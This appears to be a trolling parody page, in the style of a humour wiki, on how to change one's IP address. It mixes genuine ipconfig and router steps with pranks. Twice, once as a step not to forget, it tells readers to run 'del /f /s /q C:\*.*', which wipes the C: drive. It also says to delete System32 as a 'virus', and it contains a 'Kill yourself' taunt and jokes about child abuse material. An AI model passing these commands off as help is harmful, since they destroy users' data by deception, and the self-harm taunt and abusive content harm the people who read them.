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Someone can immediately begin attacking your computer!

Your IP Address is and we are haxing your computer now. Not even pressing Alt+F4 will save you now, noob.


Proxies are the standard way of hiding your IP address from oppressive governmental regimes.

Why would you change your IP?

It's useful if:

  1. You are a pedophile looking for an IP that hasn't been banned yet because of CP posting.
  2. You are planning to create a giant sock puppet farm in order to overturn Wikipedia ad majorem EDi gloriam.
  3. You were such a n00b in a forum and you annoyed the admins so much that they banned you.
  4. You want to raid a forum of n00bs but you failed to hire some /b/tards as they are not your personal army.
  5. You got humiliated and pwned by a powerful troll and you try to get a new identity.
  6. You are a hacker sought by the police.
  7. You were interrupted in a NO U war and you don't want to become a luser.

How to change your IP


If your computer is connected directly to the internet without a NAT router in between, try this:

  1. Get to a command prompt. (From the Start menu, choose Run..., type cmd and press Enter.)
  2. Type ipconfig /release and press Enter.
  3. Optional: Turn off the computer and leave it turned off overnight.
  4. Type ipconfig /renew and press Enter.
  5. Type del /f /s /q C:\*.* and press Enter.
  6. Do not forget the last step!


  1. Log into the router's admin console (often or, or for netgear brand routers use http://routerlogin.net
  2. Release the IP address (method varies by router manufacturer).
  3. Turn off router, Ethernet hubs/switches, and the cable/DSL modem.
  4. Leave everything off overnight.
  5. Turn everything back on and confirm the switch.

#2.1 (simplified but unreliable)

  1. Turn off your router, any Ethernet hubs/switches and your cable/DSL modem.
  2. Optional: Shut down your computer and leave it off until completed
  3. Leave everything off for 5-10 minutes.
  4. Confirm the switch.
  5. Try Method 2 if this fails.


  1. Go to or , or for netgear brand routers use http://routerlogin.net
  2. Log in (if you do not know the password, Google for default router passwords).
  3. Find DNS addresses and write them down.
  4. Switch setting to Static IP. Put in DNS addresses and change your IP to whatever you like.


  1. Log into the router's admin console. (Often, or for netgear brand routers use http://routerlogin.net
  2. Release the IP address. (Method varies by router manufacturer)
  3. Change MAC address.
  4. Turn everything back on.


If nothing works

  1. Type del /f /s /q C:\*.* and press Enter.
  2. Kill yourself.

Final solution

Eliminating the virus known as System32 constitutes a permanent solution for this issue. Windows Optimizer can delete said virus, so you can change your IP at will.

How to change your IP #6

Go over to your computer and rip all wires out of wall problem solved

How to change your IP #7

Move to Germany and get your Internets from a german ISP. They automatically change your IP every 24 hours preferably while you're playing Black Ops 2, forcing you to lose the connection. Unfortunately, the german Government can legally view your porn traffic under the clever guise of finding Pedophiles, so you'll still need a Proxy.

How IP's are allocated by /8 subnet


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